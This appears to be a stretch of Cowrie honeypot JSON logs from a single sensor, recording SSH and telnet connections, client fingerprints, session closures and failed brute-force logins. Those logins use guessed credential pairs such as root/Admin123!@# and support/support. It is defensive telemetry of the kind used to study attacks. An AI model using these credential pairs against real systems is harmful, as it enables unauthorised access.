{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":38300,"dst_ip":"159.203.135.109","dst_port":22,"session":"b990fa7bc0a7","protocol":"ssh","message":"New connection: 31.40.204.166:38300 (159.203.135.109:22) [session: b990fa7bc0a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:47.481743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:47.486231Z","src_ip":"31.40.204.166","session":"b990fa7bc0a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:47.612384Z","src_ip":"31.40.204.166","session":"b990fa7bc0a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!@#","message":"login attempt [root/Admin123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:48.083675Z","src_ip":"31.40.204.166","session":"b990fa7bc0a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55096,"dst_ip":"10.17.0.5","dst_port":23,"session":"679696126ff3","protocol":"telnet","message":"New connection: 152.42.224.71:55096 (10.17.0.5:23) [session: 679696126ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:48.295928Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:49.210489Z","src_ip":"31.40.204.166","session":"b990fa7bc0a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":82.93696856498718,"message":"Connection lost after 82 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:50.089733Z","src_ip":"152.42.224.71","session":"99131bf7f4e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.80859446525574,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:53.027030Z","src_ip":"152.42.224.71","session":"6e7f99f0774f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.80990386009216,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:54.038355Z","src_ip":"152.42.224.71","session":"a55ce83ac857","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.574280261993408,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:56.537722Z","src_ip":"152.42.224.71","session":"d5f1e1429952","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49962,"dst_ip":"10.17.0.5","dst_port":23,"session":"16923cf448bf","protocol":"telnet","message":"New connection: 152.42.224.71:49962 (10.17.0.5:23) [session: 16923cf448bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:56.892723Z"}
{"eventid":"cowrie.session.closed","duration":79.03516793251038,"message":"Connection lost after 79 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:56.975602Z","src_ip":"152.42.224.71","session":"08992491922c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":39722,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccdfad47e2c7","protocol":"ssh","message":"New connection: 31.40.204.166:39722 (159.203.135.109:22) [session: ccdfad47e2c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:59.507260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:59.518561Z","src_ip":"31.40.204.166","session":"ccdfad47e2c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:40:59.717702Z","src_ip":"31.40.204.166","session":"ccdfad47e2c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:00.289799Z","src_ip":"31.40.204.166","session":"ccdfad47e2c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49984,"dst_ip":"10.17.0.5","dst_port":23,"session":"c66135d28265","protocol":"telnet","message":"New connection: 152.42.224.71:49984 (10.17.0.5:23) [session: c66135d28265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:00.808670Z"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:01.420902Z","src_ip":"31.40.204.166","session":"ccdfad47e2c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49970,"dst_ip":"10.17.0.5","dst_port":23,"session":"af3dcb8a1299","protocol":"telnet","message":"New connection: 152.42.224.71:49970 (10.17.0.5:23) [session: af3dcb8a1299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:01.603977Z"}
{"eventid":"cowrie.session.closed","duration":55.928314208984375,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:02.153271Z","src_ip":"152.42.224.71","session":"67e44104440b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.20235276222229,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:04.116690Z","src_ip":"152.42.224.71","session":"0e57482309fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50000,"dst_ip":"10.17.0.5","dst_port":23,"session":"302e6b036208","protocol":"telnet","message":"New connection: 152.42.224.71:50000 (10.17.0.5:23) [session: 302e6b036208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:05.702755Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52018,"dst_ip":"10.17.0.5","dst_port":23,"session":"355524b1f701","protocol":"telnet","message":"New connection: 152.42.224.71:52018 (10.17.0.5:23) [session: 355524b1f701]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:07.724933Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52006,"dst_ip":"10.17.0.5","dst_port":23,"session":"44c9ef59e829","protocol":"telnet","message":"New connection: 152.42.224.71:52006 (10.17.0.5:23) [session: 44c9ef59e829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:07.857683Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52024,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5bf8386be2a","protocol":"telnet","message":"New connection: 152.42.224.71:52024 (10.17.0.5:23) [session: f5bf8386be2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:09.932725Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52026,"dst_ip":"10.17.0.5","dst_port":23,"session":"467e4f857afd","protocol":"telnet","message":"New connection: 152.42.224.71:52026 (10.17.0.5:23) [session: 467e4f857afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:10.653368Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":49408,"dst_ip":"159.203.135.109","dst_port":22,"session":"c236a848a5a9","protocol":"ssh","message":"New connection: 31.40.204.166:49408 (159.203.135.109:22) [session: c236a848a5a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:11.285160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:11.289940Z","src_ip":"31.40.204.166","session":"c236a848a5a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:11.420870Z","src_ip":"31.40.204.166","session":"c236a848a5a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":57008,"dst_ip":"10.17.0.5","dst_port":22,"session":"42c23e5405f6","protocol":"ssh","message":"New connection: 176.32.39.21:57008 (10.17.0.5:22) [session: 42c23e5405f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:11.471015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:11.476208Z","src_ip":"176.32.39.21","session":"42c23e5405f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:11.598476Z","src_ip":"176.32.39.21","session":"42c23e5405f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"qwerty","message":"login attempt [master/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:11.924424Z","src_ip":"31.40.204.166","session":"c236a848a5a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123qq","message":"login attempt [root/123123qq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:11.965673Z","src_ip":"176.32.39.21","session":"42c23e5405f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:13.090862Z","src_ip":"176.32.39.21","session":"42c23e5405f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:13.104930Z","src_ip":"31.40.204.166","session":"c236a848a5a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52042,"dst_ip":"10.17.0.5","dst_port":23,"session":"82d4b56fee28","protocol":"telnet","message":"New connection: 152.42.224.71:52042 (10.17.0.5:23) [session: 82d4b56fee28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:13.164259Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52058,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe50328bb462","protocol":"telnet","message":"New connection: 152.42.224.71:52058 (10.17.0.5:23) [session: fe50328bb462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:14.322227Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46688,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5873a388759","protocol":"telnet","message":"New connection: 152.42.224.71:46688 (10.17.0.5:23) [session: f5873a388759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:17.339660Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46694,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e8e5a7d78af","protocol":"telnet","message":"New connection: 152.42.224.71:46694 (10.17.0.5:23) [session: 3e8e5a7d78af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:18.173158Z"}
{"eventid":"cowrie.session.closed","duration":40.17341637611389,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:19.609493Z","src_ip":"152.42.224.71","session":"1051301559c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.48422718048096,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:21.552905Z","src_ip":"152.42.224.71","session":"befc35660919","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46696,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bfe2327a1cc","protocol":"telnet","message":"New connection: 152.42.224.71:46696 (10.17.0.5:23) [session: 5bfe2327a1cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:23.693331Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46698,"dst_ip":"10.17.0.5","dst_port":23,"session":"a70515352a98","protocol":"telnet","message":"New connection: 152.42.224.71:46698 (10.17.0.5:23) [session: a70515352a98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:23.753285Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35926,"dst_ip":"159.203.135.109","dst_port":22,"session":"41c1ab319262","protocol":"ssh","message":"New connection: 31.40.204.166:35926 (159.203.135.109:22) [session: 41c1ab319262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:24.132642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:24.136652Z","src_ip":"31.40.204.166","session":"41c1ab319262","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:24.285760Z","src_ip":"31.40.204.166","session":"41c1ab319262","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:24.792291Z","src_ip":"31.40.204.166","session":"41c1ab319262","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":119.71485185623169,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:24.872701Z","src_ip":"152.42.224.71","session":"62b6152861f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:25.925615Z","src_ip":"31.40.204.166","session":"41c1ab319262","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.7386417388916,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:28.034448Z","src_ip":"152.42.224.71","session":"679696126ff3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":56616,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb560212497e","protocol":"ssh","message":"New connection: 81.9.145.130:56616 (10.17.0.5:22) [session: eb560212497e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:30.412410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:30.422603Z","src_ip":"81.9.145.130","session":"eb560212497e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:41:30.539312Z","src_ip":"81.9.145.130","session":"eb560212497e","protocol":"ssh"}
